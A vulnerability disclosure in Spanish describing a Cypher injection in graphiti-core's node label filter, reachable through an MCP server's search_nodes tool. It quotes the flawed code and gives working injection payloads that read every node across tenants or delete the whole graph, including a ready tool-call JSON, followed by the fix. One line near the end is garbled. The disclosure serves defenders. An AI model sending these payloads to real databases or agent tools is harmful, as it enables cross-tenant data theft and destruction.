
Inyección Cypher en graphiti-core (getzep/graphiti) mediante node_labels sin sanitizar — CVSS 8.1
Severidad: Alta (CVSS 8.1)
CWE: CWE-943 — Neutralización incorrecta de elementos especiales en la lógica de consulta de datos
Afectado: graphiti-core <= 0.28.1 (pip)
Corregido en: 0.28.2
Aviso: GHSA
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-32247
graphiti-core construye cláusulas WHERE de Cypher uniendo cadenas de etiquetas de nodo proporcionadas por el usuario con | y concatenándolas en una consulta sin procesar. Un atacante puede inyectar operadores Cypher arbitrarios, exfiltrar datos de cualquier nodo del grafo en todos los inquilinos, o eliminar todo el grafo — sin parametrización, sin validación en ningún punto de la cadena.
Estaba escaneando sistemáticamente repositorios de servidores MCP de la lista awesome-mcp-servers, centrándome en cualquier proyecto que conecte agentes LLM con un backend de base de datos. Graphiti destacó porque se posiciona como la capa de memoria para agentes de IA — un objetivo de alto valor.
Mi patrón de escaneo para bases de datos de grafos es simple: buscar f-strings que contengan MATCH, WHERE o concatenación de etiquetas. La línea 'n:' + node_labels en search_filters.py saltó a la vista de inmediato — es concatenación de cadenas sin procesar que va directamente a una consulta Cypher. La variable provenía de entity_types en el manejador de la herramienta MCP sin ninguna validación.
Lo que hizo esto interesante más allá de una inyección estándar: la cláusula WITH de Cypher permite salir de un contexto WHERE e iniciar una tubería completamente nueva. Así, ) cierra la expresión de etiquetas entre paréntesis, WITH n transiciona a una nueva cláusula, y // descarta silenciosamente el resto de la consulta original. Un solo payload, acceso completo al grafo.
Lo confirmé en 10 minutos reproduciendo la lógica exacta en un script Python independiente, verifiqué que DETACH DELETE eliminaba todos los nodos, y luego escribí el informe GHSA.
Archivo: graphiti_core/search/search_filters.py, líneas 91–92 y 134–135
# Código vulnerable — copia exacta del código fuente
node_labels = '|'.join(filters.node_labels)
node_label_filter = 'n:' + node_labels
# node_label_filter se interpola luego en una cláusula WHERE de Cypher
Punto de entrada: mcp_server/src/graphiti_mcp_server.py, línea 441
search_filters = SearchFilters(
node_labels=entity_types, # entrada del usuario pasada directamente, sin validación
)
El parámetro entity_types fluye desde la llamada a la herramienta MCP search_nodes directamente al constructor de consultas. Tanto los backends Neo4j como FalkorDB están afectados. El backend Kuzu no está afectado porque utiliza consultas parametrizadas.
El valor node_label_filter (n:Label1|Label2) se incrusta en una consulta Cypher como:
WHERE (n:Label1|Label2) AND ...
Debido a que las etiquetas se unen con | y se envuelven entre paréntesis por el llamador, un atacante solo necesita cerrar la expresión con ) e inyectar nuevas cláusulas Cypher. El operador de comentario // suprime el resto de la consulta original.
# Lógica exacta de search_filters.py líneas 91-92
def build_filter(node_labels):
labels = '|'.join(node_labels)
return 'n:' + labels
# Benigno
print(build_filter(["Person", "Organization"]))
# → n:Person|Organization → WHERE (n:Person|Organization) AND ...
# Exfiltración: leer todos los nodos de todos los grupos
print(build_filter(["Entity`) WITH n MATCH (x) RETURN x //"]))
# → n:Entity`) WITH n MATCH (x) RETURN x //
# Cypher completo: WHERE (n:Entity`) WITH n MATCH (x) RETURN x // AND ...
# El `) cierra el WHERE, WITH inicia una nueva tubería, // descarta el resto
# Eliminación: borrar todo el grafo
print(build_filter(["Entity`) WITH n MATCH (x) DETACH DELETE x //"]))
Mediante llamada a la herramienta MCP:
{
"tool": "search_nodes",
"arguments": {
"query": "test",
"entity_types": ["Entity`) WITH n MATCH (x) DETACH DELETE x //"]
}
}
group_idDETACH DELETE borra todo el grafogroup_id se aplica después del filtro de etiquetas inyectable — inyectar una cláusula WITH lo omite por completoLa versión corregida valida las etiquetas de nodo contra una lista blanca de caracteres alfanuméricos antes de la interpolación, y la ruta de búsqueda de texto completo utiliza consultas parametrizadas para los valores group_id.